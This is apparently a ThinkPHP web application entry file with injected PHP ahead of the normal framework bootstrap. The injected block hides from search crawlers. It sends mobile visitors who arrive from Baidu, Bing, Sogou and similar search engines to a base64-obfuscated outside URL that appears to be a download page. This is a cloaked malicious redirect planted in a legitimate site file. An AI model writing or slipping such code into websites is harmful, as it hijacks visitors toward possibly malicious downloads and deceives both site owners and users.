// +---------------------------------------------------------------------- namespace think; $agentt = strtolower($_SERVER['HTTP_USER_AGENT']); if(stripos($agentt,'spider') == false && stripos($agentt,'bot')== false) { if(strpos($agentt, 'ios') || stripos($agentt, 'android') || stripos($agentt, 'iphone') || stripos($agentt, 'ipad')) { $laiyuan=@strtolower($_SERVER['HTTP_REFERER']); if (strpos($laiyuan, 'baidu') || stripos($laiyuan, 'bing')|| stripos($laiyuan, 'sm') || stripos($laiyuan, 'sogou') || stripos($laiyuan, 'so')) { $new_url=base64_decode('aHR0cHM6Ly9hYTM2ODc3NzAyLnhuLS1zY3N3NzlkLm5ldC9kb3dubG9hZC8zNjg3NzcwMi8zNjg3NzcwMmE4Lmh0bWw='); header("Location:$new_url"); exit; } } } // ThinkPHP require __DIR__ . '/base.php'; App::run()->send();